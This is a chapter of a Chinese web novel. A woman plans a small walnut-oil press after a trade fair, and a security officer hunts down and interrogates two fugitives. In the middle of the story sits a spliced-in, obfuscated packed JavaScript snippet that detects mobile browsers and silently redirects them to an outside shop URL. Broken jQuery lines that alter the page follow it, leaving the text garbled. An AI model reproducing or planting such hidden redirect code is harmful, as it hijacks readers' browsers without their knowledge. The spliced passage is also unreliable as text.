忙碌的时间总是过的很快,转眼间就到了展会的最后一天,很多客商都订到了满意地产品,打道回府了。
展厅里空了很多,趁着这会儿有时间,周厂长迫不及待地拉着李书记开始对账:“这贸易会可真是了不得。”
“这几天收获的订单量,比我们厂子去年一整年的单量都还要多。”
钱志豪看着李书记手里的账本,眼睛都闪着金光:“厂长、书记,咱们这奖金是不是得按照订单量一样,翻倍来啊~”
“真的吗,真的吗,不能反悔了!”王胜兴奋地声音都高了两度。
这次贸易会收获超出预期,一行人都很高兴。
只有沈静姝安安静静低着头在之上写写画画,琢磨着什么。
这几天给铁牛厂寻找客商的时候,沈静姝也会捎带着询问一句对方需不需要农产品。
功夫不负有心人,还真让她遇上了几个对口的客商,并成功让其中几位客商对他们的产品产生了浓厚的兴趣。
沈静姝留下了他们的联系方式和公司地址,准备等回到县里立刻跟王主任汇报沟通,争取把这些潜在客户拿下。
复兴县虽然偏僻,但地理位置特殊,当地的土壤和气候非常有利于柑橘类水果、核桃花生等坚果的生长,他们的品质和味道味道都比其他产地要好上很多。
再结合她从后世学来的加工手法,沈静姝对县“农产品生产合作社”的发展非常有信心!
她现在琢磨的是,公社那批滞销的核桃。这次接洽的其中一个姓秦的客商是销售各类米面食用油的,对沈静姝推荐的更健康的核桃油非常感兴趣。
但县城里根本没有榨油设备,沈静姝琢磨好几天了,想自制一种小型榨油机出来。
“静姝姐,你在画什么呢?”
这次展会沈静姝表现突出,小安俨然把她当成了自己的人生偶像,干什么都要像偶像看齐。
见沈静姝一直没说话,第一个靠过来询问。
值得一提的是。
前两天,沈静姝终于找机会把自己顶替另一个人的派遣单的事情跟大家说清楚了。
一行人都表示了理解,钱志豪还庆幸的感慨:“幸亏是临时换人了,不然我们这次能不能这么顺利都不一定呢。”
对于大家的接纳,沈静姝也跟高兴。虽然认识的时间不长,但大家相处的已经像是真正的战友一样。
特殊的时间、特殊的场合,真的能够加深人与人之间的感情。
拍拍小安倾过来的脑袋,沈静姝笑道:“我想研究一台小型榨油机,我下乡的那个公社是产核桃的大户,有了这榨油机,以后我们的核桃就不用求着食品厂采购了。”
“我了解过了,制成核桃油销售的话,利润挺高的。”
“什么,什么利润挺高的?”
干销售的是有自己的雷达神经的,正在跟厂长讨价还价的钱志豪一秒钟捕捉到沈静姝话里的关键字,跑来询问。
这几天他已经看明白了,跟着沈同志,有肉吃。
“静姝姐在琢磨榨油机呢。”小安仔细看着沈静姝手下的草图,越看头越低:“姐,你这看起来跟我们厂的饲料粉碎机很像欸。”
“小丫头挺聪明的嘛。”沈静姝对这个活泼的姑娘也挺有好感:“我之前在村子里见过土法榨油,也在书里看到过一些榨油工艺,其中有个冷榨工艺,其实就是螺旋挤压原理。”
沈静姝说话的时候,田壮飞也凑了过来,这些日子他越来越喜欢跟沈静姝进行技术切磋,这个小姑娘脑子里,总能有些奇思妙想。
“田工,咱们厂里能生产这种小型榨油机吗?这可是全市都没有的产品。”
“而且,我可以给厂里直接对接到采购商。”
图纸琢磨的差不多了,要给图纸找个实践的地方,沈静姝开始诱惑一心扑在技术上的田壮飞。
沈静姝这边努力套路田工,陆珩这边游刃有余的攻略手里抓到的这几个马仔。
他是部队里侦察大队的王牌,审讯技巧花样层出不穷,攻心又磨身,成辉几个人根本经不住他的套路,没两天就把他们知道的所有信息都给抖露出来了。
这其中不仅包括很多明确的信息,比如两波人的目标,接头地点等;还包括很多他们自己无意识吐露的细节信息。
比如王臣是个户外登山爱好者,再比如丁春之所以能成为行动负责人,不是因为他的能力,而是因为他有个好姐姐。
“怪不得我们排查了那么多地方都毫无线索,这两个人可真狡猾。”
听陆珩分析一遍,肖明海恍然大悟:“陆大哥,咱们现在去山里抓鬼吗?”
“带上人,走。”沈静姝快回来了,陆珩一刻都不敢耽搁。
一行人往前两天疯传闹鬼的山强大队后山的牛棚附近赶去。
没想着,在山脚下遇上了很久不见的李强:“陆大哥,我正要去找你们呢!”
自从以成为沈静姝的朋友为目标,努力干活,磨练技术之后,李强在村里的生活发生了翻天覆地的变化。大家不仅不再欺负他,甚至有人会主动跟他聊天了。
前段时间村里开展副业养兔子,沈知青还特意让陆干事来指导他,现在他已经成为村里兔子养殖场的技术员了。不仅每天都有工分拿,更重要的是,大家都高看他一眼。
前几天杨家的大婶还说要给他介绍个对象呢。
他李强能有今天这样的好日子,都是沈知青的功劳。李强一刻都没有忘记,前几天听说沈知青被人袭击了,李强急得嘴角都长了燎泡。
他白天要在养殖场上工,没办法跟王武他们一样去院子里守着。
就趁着晚上下工的时间,四处搜索,想帮着陆珩他们,找点线索。
就这么一晚上一晚上的到处乱撞,还真让他找到了点东西:“陆大哥,你快跟我来!”
“我找到了烧火的痕迹,还有动物的小骨头!”
“他们肯定在那里待过!”
能帮到沈知青,李强兴奋的手指尖都发麻,眼睛亮得吓人。
一行人跟着李强找到那处痕迹,虽然人已经离开了,但还是让陆珩找到了些线索。
“这地上,是什么粪便?”“这附近山里,没见到过。”
细小的块状粘土,不认真看根本发现不了。
李强跟着陆珩蹲下来,也不嫌脏,又是扒拉又是闻味,还是没研究明白。
“没事儿,陆大哥,给我两天时间,我准给你问出来。”
李强在地上又认真收集了几块不认识的粪便,攥在手里。
陆珩从口袋里摸出个手绢递给他:“包起来吧。”
反手拍拍他的肩膀:“辛苦你了李强,谢谢你。”
李强一愣,瞬间就不好意思了:“这怎么说的,陆大哥,这都是应该的。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314601|193253||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“你们是我的恩人,是我的朋友啊~”
陆珩带着人继续往前寻找,李强捧着手绢往山下跑,逢人就问认不认识这是什么动物的粪便。
第二天下午,陆珩一行人在一处密林里抓到了丁春和王臣。
“挺能跑啊!”这两天跟着陆珩,一刻都没停,大家伙都累得够呛。
肖明海一拳头打在丁春腹部。
丁春被绑着,生生挨了一拳,吃痛的五官挤在一起。
嘴巴里却桀桀地笑着:“陆珩,走着瞧。”
“事情还没结束呢。”
陆珩表情不变,手指却不自觉握紧。
丁春的眼神那么笃定,不仅没有绝望,甚至还有些恶意得手后的得意。
他做了什么?他能做什么?
陆珩一个眼神,肖明海就懂了。挥挥手,“走,我们带着王臣先走。”
陆珩是十几分钟后跟上来的,脸色阴沉,周身气压很低。
肖明海瞟了两眼,不敢开口。
回到保卫科,陆珩却忽然吩咐肖明海准备好酒好菜。
“陆大哥,你要请大家伙吃饭啊。”肖明海都没反应过来,刚才不还生气呢。
“请,但不是现在。”陆珩接凉水洗了把脸,让自己调整状态:“现在我要请王臣吃饭。”
“鸿门宴。”
一桌子好菜好饭,王臣看都没看一眼,梗着脖子,斜着眼睛,一副誓死不从的样子。
陆珩也不管他,搬出他的小炉子,拿起桌子上的兔肉干,跟肖明海边吃边聊。聊的内容也跟案子丝毫无关,都是些家长里短,什么肖家母亲冬天腿还疼吗,肖明海的姐夫还总要喝酒吗······
肉干是陆珩的拿手菜,麻辣鲜香,小炉子一加热,香味飘满房间。王臣的眼神慢慢得就变了。
“给,你也来一块。”陆珩装作不经意,递了一大块过去:“你有姐姐吗?”
“我从小就想有个姐姐。”
王臣一个没忍住,接过肉干就是一大口,好久没吃过这么好吃的兔肉了。十多天艰苦的野外生活,忽然置身在这种舒适的环境里,王臣的防备心渐渐散了:“有,我有两个姐姐。”
简单的汉子,扛得住拳头折磨,抵不住酒肉家人。
聊着聊着,陆珩得到了他想知道的大部分信息:“好了,今天就到这儿。”
“忙了一天,都回去休息吧。”
“明海,你把他送回禁闭室。”
两个人一走,陆珩混沌的眼神瞬间清明,洗了一把脸,戴上帽子,拿上围巾,骑着车去了跟田叔叔约好的电话亭。
这是他们约定好的临时线路,轻易不会启用。电话转了三道,终于听到了田叔叔的声音。
陆珩掐着嗓音,说出两个人约定的暗号。
对面对出另外半句之后,陆珩给出了刚刚从王臣那里套出的两片区域。
“这两片,有个姓丁的将近三十岁的女人,带着个三岁左右的男孩。”
“她家里,有重要证据。”
“好。”
言简意赅,谁也不敢多说,挂断了电话。
陆珩四处看了看,确认没有人注意到这边,紧了紧遮住脸颊的围巾,快步离开了。
虽然抓到了这两波人,但这只是个休止符。
不解决上面那位,这些人是永远不会罢休的。
希望他猜的没错。